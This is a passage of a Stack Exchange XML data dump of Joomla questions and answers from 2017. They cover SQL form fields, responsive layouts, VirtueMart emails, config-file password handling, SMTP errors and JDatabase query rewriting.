int(2) NOT NULL DEFAULT '0',&#xA;    subcategory varchar(25) NOT NULL DEFAULT '',&#xA;    UNIQUE KEY subcat_id (subcat_id)&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11494" LastEditorUserId="11451" LastEditDate="2017-09-12T17:09:14.347" LastActivityDate="2018-09-16T00:01:52.650" Title="Second dropdown changes after selecting first dropdown in Joomla XML" Tags="|plugin|joomla-3.7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21529" PostTypeId="2" ParentId="21521" CreationDate="2017-09-12T08:46:08.027" Score="0" Body="&lt;p&gt;It is a known problem. There may be several reasons. Among other things, how have you made your menus.&#xA;You can fix it by redirecting to the unwanted URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several extensions that can help solve the problem. I have very good experiences with RSSeo from RSJoomla, which gives a good overview.&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2017-09-12T08:46:08.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21530" PostTypeId="2" ParentId="21524" CreationDate="2017-09-12T09:40:18.070" Score="0" Body="&lt;p&gt;In the &lt;code&gt;display&lt;/code&gt; function of the view, you should see the results in &lt;code&gt;$this-&amp;gt;results&lt;/code&gt;. It should work. If it doesn't display any data, then this means that most likely your &lt;code&gt;$results&lt;/code&gt; array is empty. By the way, your &lt;code&gt;foreach&lt;/code&gt; loop has no effect whatsoever on &lt;code&gt;$results&lt;/code&gt;. In fact, if this is the whole code, then it has no effect whatsoever.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-12T09:40:18.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21531" PostTypeId="2" ParentId="21519" CreationDate="2017-09-12T17:33:10.867" Score="1" Body="&lt;p&gt;Sp Page builder was built on &lt;a href=&quot;https://getbootstrap.com/docs/3.3/css/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bootstrap framework&lt;/a&gt;. You can follow the link to learn more about bootstrap layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from your ability to hide rows and columns on Mobile/Tablet/Desktop using the Responsive tab in options. You can also define how you want the columns to be resized or rearranged on tablets and mobile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should note that we have row options and column options - the column is always a child of the row. It is the column options that enables you to rearrange your columns on tablets and mobile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you created a row and added two columns with equal widths of 50% or in bootstrap terms - col-md-6. To access the columns options in order to adjust the width for tablets, look to the top-right of the column, you will see a settings icon, click on the icon and select column options from the drop-down. That brings up a popup window displaying the column options.&#xA;To achieve the goal of resizing or rearranging your columns, click on the responsive tab and you will see options for tablet and mobile layouts. In the tablet layout select box, you will see options like: col-sm-1, col-sm-2, col-sm-3, col-sm-4, etc., by selecting any of the values for tablet will change the width of the column to a new size on tablets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. if your columns were: col-sm-6 and col-sm-6 and you change any of them to col-sm-12 in the tablet layout, it becomes 100% i.e fullwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you grasp my points!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of my projects are built on bootstrap(T3 framework) and i also use sp page builder and below are the media queries i use to control my layout on different devices outside what sp page builder offers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Smartphones (portrait and landscape) ---------- */&#xA;@media screen and (min-width: 320px) and (max-width: 480px){&#xA;    /* styles */&#xA;}&#xA;/* Smartphones (portrait) ---------- */&#xA;@media screen and (max-width: 320px){&#xA;    /* styles */&#xA;}&#xA;/* Smartphones (landscape) ---------- */&#xA;@media screen and (min-width: 321px){&#xA;    /* styles */&#xA;}&#xA;/* Tablets, iPads (portrait and landscape) ---------- */&#xA;@media screen and (min-width: 768px) and (max-width: 1024px){&#xA;    /* styles */&#xA;}&#xA;/* Tablets, iPads (portrait) ---------- */&#xA;@media screen and (min-width: 768px){&#xA;    /* styles */&#xA;}&#xA;/* Tablets, iPads (landscape) ---------- */&#xA;@media screen and (min-width: 1024px){&#xA;    /* styles */&#xA;}&#xA;/* Desktops and laptops ---------- */&#xA;@media screen and (min-width: 1224px){&#xA;    /* styles */&#xA;}&#xA;/* Large screens ---------- */&#xA;@media screen and (min-width: 1824px){&#xA;    /* styles */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also define custom media queries to target certain mobile devices range by combining the screen widths above.&lt;/p&gt;&#xA;" OwnerUserId="7399" LastEditorUserId="7399" LastEditDate="2017-09-12T18:08:17.550" LastActivityDate="2017-09-12T18:08:17.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21533" PostTypeId="1" CreationDate="2017-09-13T04:36:49.080" Score="0" ViewCount="45" Body="&lt;p&gt;To whom it may concern:&#xA;I am developing a responsive site based on joomla, making it responsive.&#xA;I have fixed everything in Chrome and FF as main broswers for tablets and mobiles&#xA;What are other browsers of use for mobile and tablets? for instance is it necessary to fix my site and test it for safari and ie too?&#xA;Kian William &lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2017-09-13T15:54:11.787" Title="Most important Browsers for mobiles and Tablets" Tags="|responsive-web-design|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21534" PostTypeId="2" ParentId="21533" CreationDate="2017-09-13T10:13:03.307" Score="0" Body="&lt;p&gt;Chrome, Safari and UC browser are the top browsers as per their usage. Being Chrome a major browser by usage(50%+), you should test it by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://en.wikipedia.org/wiki/Usage_share_of_web_browsers&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Usage_share_of_web_browsers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All apple devices uses Safari as a default browser and most users are still using it. So it would be good to have your application tested at least in Safari if your target user base includes Apple devices (iPhone, iPad etc).&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-09-13T10:13:03.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21535" PostTypeId="2" ParentId="21528" CreationDate="2017-09-13T10:28:18.693" Score="1" Body="&lt;p&gt;Your &lt;code&gt;sql_filter&lt;/code&gt; value must match the name of the field it is referring to. Since you have &lt;code&gt;cat_id&lt;/code&gt; in your subcategory table which is referring to id in &lt;code&gt;category&lt;/code&gt;, name your parent field as &lt;code&gt;cat_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your category field with name cat_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;cat_id&quot;&#xA;   type=&quot;sql&quot;&#xA;   default=&quot;&quot;&#xA;   label=&quot;Category&quot;&#xA;   sql_select=&quot;e.*&quot;&#xA;   sql_from=&quot;#__category AS e&quot;&#xA;   sql_group=&quot;category&quot;&#xA;   sql_order=&quot;e.cat_id ASC&quot;&#xA;   key_field=&quot;cat_id&quot;&#xA;   value_field=&quot;category&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sub category field can be same as what you have now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;subcategory&quot;&#xA;   default=&quot;&quot;&#xA;   type=&quot;sql&quot;&#xA;   label=&quot;SubCategory&quot;&#xA;   sql_select=&quot;e.*&quot;&#xA;   sql_from=&quot;#__subcategory AS e&quot;&#xA;   sql_group=&quot;subcategory&quot;&#xA;   sql_order=&quot;e.subcat_id ASC&quot;&#xA;   sql_filter=&quot;cat_id&quot;&#xA;   key_field=&quot;subcat_id&quot;&#xA;   value_field=&quot;subcategory&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2017-09-20T16:57:11.073" LastActivityDate="2017-09-20T16:57:11.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21536" PostTypeId="1" CreationDate="2017-09-13T10:47:58.170" Score="1" ViewCount="594" Body="&lt;p&gt;I am trying to send order placed mails to merchants different mail ids. Can any one give me the idea/solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="11075" LastEditorUserId="11075" LastEditDate="2017-09-14T10:12:02.737" LastActivityDate="2021-03-15T18:59:41.293" Title="When order is placed can multiple emails be set as recepients in virtuemart 3?" Tags="|joomla-3.x|virtuemart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21537" PostTypeId="1" CreationDate="2017-09-13T11:00:12.197" Score="1" ViewCount="645" Body="&lt;p&gt;Is it possible to encrypt the database password in the Joomla configuration file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example : &#xA;change  public $password = 'xxxxxx'; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;by : $password = hash; &lt;/p&gt;&#xA;" OwnerUserId="5831" LastEditorUserId="115" LastEditDate="2017-09-15T02:30:24.237" LastActivityDate="2017-09-16T19:47:50.927" Title="Is it possible to encrypt the database password in the Joomla configuration file?" Tags="|joomla-3.6|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21538" PostTypeId="2" ParentId="21537" CreationDate="2017-09-13T11:31:27.427" Score="2" Body="&lt;p&gt;No. But what you can do if you want to hide this information is to place the &lt;code&gt;configuration.php&lt;/code&gt; outside the &lt;code&gt;public_html&lt;/code&gt; folder (if you want someone who has access to the &lt;code&gt;public_html&lt;/code&gt; directory not be able to read the &lt;code&gt;configuration.php&lt;/code&gt; file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this, in my opinion, is a futile experiment, since if the person with access to the &lt;code&gt;public_html&lt;/code&gt; folder can upload a PHP file which can read the &lt;code&gt;configuration.php&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-13T11:31:27.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21539" PostTypeId="2" ParentId="21536" CreationDate="2017-09-13T13:07:56.623" Score="2" Body="&lt;p&gt;While I have been using VM few years ago, I've had the same problem. Clients always wanted at least two email addresses as recepients, and I always needed my admin's email to receive orders for shop monitoring purposes. I have tried many extensions with no satisfaction whatsoever, so one day it occured to me to try with virtual email forwarder instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In shop's CPanel I always create virtual email forwarder 'orders@shopdomain.com', and forward it to any number of real email addresses required. I set that email as Main Vendor's address and even use it as shop's main address in Global Config, so that way it receives all system messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this approach and it's combinations, one can have great freedom in configuring messaging subsystem of any shop, regardless of e-commerce extension.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2017-09-13T13:07:56.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21540" PostTypeId="2" ParentId="21533" CreationDate="2017-09-13T15:54:11.787" Score="1" Body="&lt;p&gt;Apple Safari is worth testing for simply because of the amount of iPhone users out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can avoid most browser issues nowadays by using normalize.css and validating your HTML and CSS.  If you are having to write fixes for each browser, do that first.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-09-13T15:54:11.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21546" PostTypeId="1" CreationDate="2017-09-15T01:39:08.267" Score="1" ViewCount="235" Body="&lt;pre&gt;&lt;code&gt;$dbwsk = JFactory::getDBO();&#xA;$querywsk = &quot;SELECT `title` FROM `#__content` WHERE 1&quot;;&#xA;$dbwsk-&amp;gt;setQuery($querywsk);&#xA;$rowswsk = $dbwsk-&amp;gt;loadResult();&#xA;var_dump($rowswsk);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been working and learning for the whole day and my brain kind of stops working. I am trying to get all values of a column from a certain table, above is the code, but &lt;code&gt;$rowswsk&lt;/code&gt; only contains 1 string, which is the title of the first article. Why is this? And how should I do it?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="5680" LastEditDate="2017-09-15T01:45:05.150" LastActivityDate="2017-09-15T08:38:47.753" Title="Why my custom query only returns one result?" Tags="|mysql|database|jfactory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21547" PostTypeId="1" AcceptedAnswerId="21817" CreationDate="2017-09-15T06:41:33.053" Score="2" ViewCount="541" Body="&lt;p&gt;i follow series &quot;Developing an MVC Component&quot; on &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&lt;/a&gt;, but when i click to publish button, i have an error &quot;Fatal error: Call to undefined method JmsMessagesModelMessages::publish() in E:\xampp\htdocs\joomla37\libraries\legacy\controller\admin.php on line 210&quot;. Somebody help me. I using joomla 3.7.5. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7480" LastActivityDate="2017-10-31T14:52:53.017" Title="Component: Button publish not working" Tags="|joomla-3.x|joomla-3.7|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21548" PostTypeId="2" ParentId="1011" CreationDate="2017-09-15T07:05:55.067" Score="0" Body="&lt;p&gt;Had the same issue but not just for Shibboleth, ADFS and for some other Identity Providers too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Came across this plugin - &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/miniorange-sso-for-joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It serves my purpose and supports way more IDPs than I even know about. &lt;/p&gt;&#xA;" OwnerUserId="11548" LastActivityDate="2017-09-15T07:05:55.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21549" PostTypeId="2" ParentId="21546" CreationDate="2017-09-15T08:38:47.753" Score="4" Body="&lt;p&gt;You should use &lt;code&gt;loadColumn&lt;/code&gt; instead of &lt;code&gt;loadResult&lt;/code&gt;. &lt;code&gt;loadResult&lt;/code&gt; is used when you want to get only 1 value from the query (and is typically used when the query returns just one value), &lt;code&gt;loadColumn&lt;/code&gt; is used to return a whole column in an array. See Joomla's &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;official documentation&lt;/a&gt; on selecting data from a database.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-15T08:38:47.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21551" PostTypeId="1" CreationDate="2017-09-15T10:38:29.823" Score="2" ViewCount="4943" Body="&lt;p&gt;Here is the global configuration of my mail setting. I thought I did everything right but it is throwing &quot;SMTP Error: Could not authenticate.&quot;. Any suggestion would be highly appreciated. &lt;a href=&quot;https://i.stack.imgur.com/vrqd3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrqd3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9897" LastActivityDate="2017-12-27T13:38:36.740" Title="SMTP Error: Could not authenticate" Tags="|joomla-3.6|smtp|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21552" PostTypeId="2" ParentId="21511" CreationDate="2017-09-15T13:43:53.630" Score="1" Body="&lt;p&gt;After trying to enable every single debugging setting possible, it never showed the detail of the issue. Just a &quot;syntax error&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it ended up being something simple. I needed a menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.joomla.org/Smart_Search_quickstart_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;quick start docs&lt;/a&gt; seemed to suggest you could either setup a module interface or component interface. I only did the module interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be something with my environment, hard to believe a syntax error would be shown here.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2017-09-15T13:43:53.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21553" PostTypeId="2" ParentId="21551" CreationDate="2017-09-15T15:59:24.143" Score="1" Body="&lt;p&gt;If you're 100% sure that everything is OK and that the problem is not because of your host (a firewall setting), then the likely solution is to enable less secure apps. Read &lt;a href=&quot;https://support.google.com/accounts/answer/6010255?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for a guide on how to do this.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-15T15:59:24.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21554" PostTypeId="2" ParentId="18703" CreationDate="2017-09-15T18:04:39.817" Score="3" Body="&lt;p&gt;I ran into this as well and have learned the following: the loadFormData can indeed used to load previously saved data back into the form and Joomla does not seem to set the form data to the user state automatically. You have to do that somewhere..  with -indeed- setUserState.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comment &quot;// Check the session for previously entered form data.&quot; set me thinking and on a search for the how and why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I have 2 fields, from_date and to_date. In my com_myform\model\forms\myform.xml they are set to &lt;code&gt;&amp;lt;field name=&quot;from_date&quot; type=&quot;calendar&quot; [..] default=&quot;NOW&quot; /&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;field name=&quot;to_date&quot; type=&quot;calendar&quot; [..] default=&quot;NOW +1 week&quot; /&amp;gt;&lt;/code&gt; so they are set to today and the same day next week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my form I wanted to keep the initial dates in case the (frontend) user entered some other value wrong. It should give an error message and fill the same form with the (previously) entered dates so the user could change other values without having to start over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my helper function (com_myform\helper\processmyform.php) I do an availability check but before I continue I &quot;save&quot; the form data as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public function checkAvailability($fromDate, $toDate)&#xA;    {&#xA;   JFactory::getApplication()-&amp;gt;setUserState( 'com_bookit.edit.bookit.data', &#xA;array('to_date' =&amp;gt; $toDate, 'from_date' =&amp;gt; $fromDate) );&#xA; ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see I saved them in an array. Now in the loadFormData() I can easily access them! So in my com_myform\models\myform.php I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function loadFormData()&#xA;{&#xA;    // Check the session for previously entered form data&#xA;        $data = JFactory::getApplication()-&amp;gt;getUserState(&#xA;            'com_bookit.edit.bookit.data',&#xA;            array('to_date', 'from_date')&#xA;        );&#xA;        return $data;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And magically the data is inserted into the form. In this way you can populate form data with previously saved (and even changed) values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that you have to empty the UserState if you don't want to use the values over and over. After the (frontend) user dates were accepted and the form had to be set to the default dates, I would do a JFactory::getApplication()-&gt;setUserState(&#xA;                'com_bookit.edit.bookit.data', null);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps someone!&lt;/p&gt;&#xA;" OwnerUserId="11549" LastActivityDate="2017-09-15T18:04:39.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21555" PostTypeId="1" AcceptedAnswerId="21559" CreationDate="2017-09-16T17:03:17.083" Score="1" ViewCount="129" Body="&lt;p&gt;I am rewriting some old code according to the latest reference, &#xA;although the page description is coming out correctly in the old code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when rewritten into new code, the page is redirecting to 404 as page not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Old Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function loadProduct($vid){&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $sql = &quot;Select *, &#xA;            (select prod_name from #__usedtoy_products where id=v.v_prod_id)&#xA;            as prod_name  from #__usedtoy_variants AS v&#xA;            Where v.state='1' and v.id = &quot; . $db-&amp;gt;quote($vid);&#xA;    $db-&amp;gt;setQuery($sql);&#xA;&#xA;    if ($rows = $db-&amp;gt;loadObjectlist()) {&#xA;        return $rows[0];&#xA;    } else {&#xA;        if ($db-&amp;gt;getErrorNum()) {&#xA;            JError::raiseError(500, &quot;Something went horribly wrong, the query returned the error &quot;. $db-&amp;gt;getErrorMsg());&#xA;        } else {&#xA;            JError::raiseError(404, &quot;404, Page does not Exists &quot;. $db-&amp;gt;getErrorMsg());&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Improved code - it's working&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function loadProduct($vid){&#xA;    $mainframe =JFactory::getApplication();&#xA;    $option = JRequest::getCmd('option');&#xA;    $db =JFactory::getDBO();&#xA;    global $Itemid;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;select('#__usedtoy_variants.id');&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__usedtoy_variants'));&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('#__usedtoy_variants.id').&quot; = &quot;.$db-&amp;gt;quote($vid), 'AND');&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('#__usedtoy_variants.v_prod_id').&quot; = &quot;.$db-&amp;gt;quote($pid));&#xA;    $query = &quot;Select *, &#xA;              (select prod_name from #__usedtoy_products where id=v.v_prod_id)&#xA;              as prod_name  from #__usedtoy_variants AS v&#xA;              Where v.state='1' and v.id = &quot; . $db-&amp;gt;quote($vid);&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    if ($rows = $db-&amp;gt;loadObjectlist()) {&#xA;        return $rows[0];&#xA;    } else {&#xA;        if ($db-&amp;gt;getErrorNum()) {&#xA;            JError::raiseError(500, &quot;Something went horribly wrong, the query returned the error &quot;. $db-&amp;gt;getErrorMsg());&#xA;        } else {&#xA;            JError::raiseError(404, &quot;404, Page does not Exists &quot;. $db-&amp;gt;getErrorMsg());&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final New Code - it's not working&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function loadProduct($vid){&#xA;    $mainframe =JFactory::getApplication();&#xA;    $option = JRequest::getCmd('option');&#xA;    $db =JFactory::getDBO();&#xA;    global $Itemid;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;select('#__usedtoy_variants.id');&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__usedtoy_variants'));&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('#__usedtoy_variants.id').&quot; = &quot;.$db-&amp;gt;quote($vid), 'AND');&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('#__usedtoy_variants.v_prod_id').&quot; = &quot;.$db-&amp;gt;quote($pid));&#xA;&#xA;    $query-&amp;gt;select(array('v.*', 'p.prod_name'))&#xA;          -&amp;gt;from($db-&amp;gt;quoteName('#__usedtoy_variants', 'v'))&#xA;          -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__usedtoy_products', 'p') . ' ON (' . $db-&amp;gt;quoteName('p.id') . ' = ' . $db-&amp;gt;quoteName('v.v_prod_id') . ')')&#xA;          -&amp;gt;where($db-&amp;gt;quoteName('v.state').&quot; = &quot;.$db-&amp;gt;quote(1), 'AND')&#xA;          -&amp;gt;where($db-&amp;gt;quoteName('v.id').&quot; = &quot;.$db-&amp;gt;quote($vid));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    if ($rows = $db-&amp;gt;loadObjectlist()) {&#xA;        return $rows[0];&#xA;    } else {&#xA;        if ($db-&amp;gt;getErrorNum()) {&#xA;            JError::raiseError(500, &quot;Something went horribly wrong, the query returned the error &quot;. $db-&amp;gt;getErrorMsg());&#xA;        } else {&#xA;            JError::raiseError(404, &quot;404, Page does not Exists &quot;. $db-&amp;gt;getErrorMsg());&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference - &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#Selecting_Records_from_Multiple_Tables&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase#Selecting_Records_from_Multiple_Tables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can some one point out what the issue is?&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="11451" LastEditDate="2017-10-08T02:52:51.570" LastActivityDate="2018-07-23T02:52:04.720" Title="Rewriting code as per Joomla guide, but page showing 404 error" Tags="|joomla-3.x|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21556" PostTypeId="2" ParentId="21537" CreationDate="2017-09-16T19:47:50.927" Score="2" Body="&lt;p&gt;Dont waste your time. If someone has access to your site in order to read that file then they can do anything that they want to do. &lt;/p&gt;&#xA;" OwnerUserId="8965" LastActivityDate="2017-09-16T19:47:50.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21557" PostTypeId="2" ParentId="21490" CreationDate="2017-09-16T19:50:02.117" Score="1" Body="&lt;p&gt;NOTE: Older versions of the joomla robots.txt file included this restriction and it was not possible for Joomla to change that on an update which is why there was a post-installation message on upgrades to inform you of this and the changes that you should make&lt;/p&gt;&#xA;" OwnerUserId="8965" LastActivityDate="2017-09-16T19:50:02.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21558" PostTypeId="2" ParentId="21015" CreationDate="2017-09-16T20:12:22.817" Score="1" Body="&lt;p&gt;Sometimes HTTPS redirections are stored in the local DNS caches of your computer, which will keep your browser redirecting to the HTTPS version of the website. So, consider doing a Google Search on how to clear the DNS caches of your Operating System.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another issue that may arise sometimes which can cause redirection loops, may be caused by Cookies stored on your local machine. So, if there are persisting issues of redirections, it's recommended to also clear any cookies or other data that might have been stored locally on your browser.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-09-16T20:28:39.720" LastActivityDate="2017-09-16T20:28:39.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21559" PostTypeId="2" ParentId="21555" CreationDate="2017-09-17T01:28:18.373" Score="2" Body="&lt;p&gt;The short answer is because you have two queries that sort of mush together.  In your 'improved code' version you build the query object and then replace the object with a string query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have removed all the code that has no role like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function loadProduct($vid){&#xA;    $db = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('v.*, p.prod_name')&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__usedtoy_variants', 'v'))&#xA;      -&amp;gt;join('LEFT', $db-&amp;gt;qn('#__usedtoy_products', 'p') . ' ON (' . $db-&amp;gt;qn('p.id') . ' = ' . $db-&amp;gt;qn('v.v_prod_id') . ')')&#xA;      -&amp;gt;where($db-&amp;gt;qn('v.state').&quot; = 1 AND &quot; . $db-&amp;gt;qn('v.id').&quot; = &quot;.$db-&amp;gt;q($vid));&#xA;    $db-&amp;gt;setQuery($query);  &#xA;&#xA;    if ($result = $db-&amp;gt;loadObject()) {&#xA;        return $result;&#xA;    } else {&#xA;        if ($db-&amp;gt;getErrorNum()) {&#xA;            JError::raiseError(500, &quot;Something went horribly wrong, the query returned the error &quot;. $db-&amp;gt;getErrorMsg());&#xA;        } else {&#xA;            JError::raiseError(404, &quot;404, Page does not Exists &quot;. $db-&amp;gt;getErrorMsg());&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: qn and q are handy short names for quoteName and quote. If you only want a max of 1 record then user $db-&gt;loadObject() instead of objectList.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-09-17T01:28:18.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
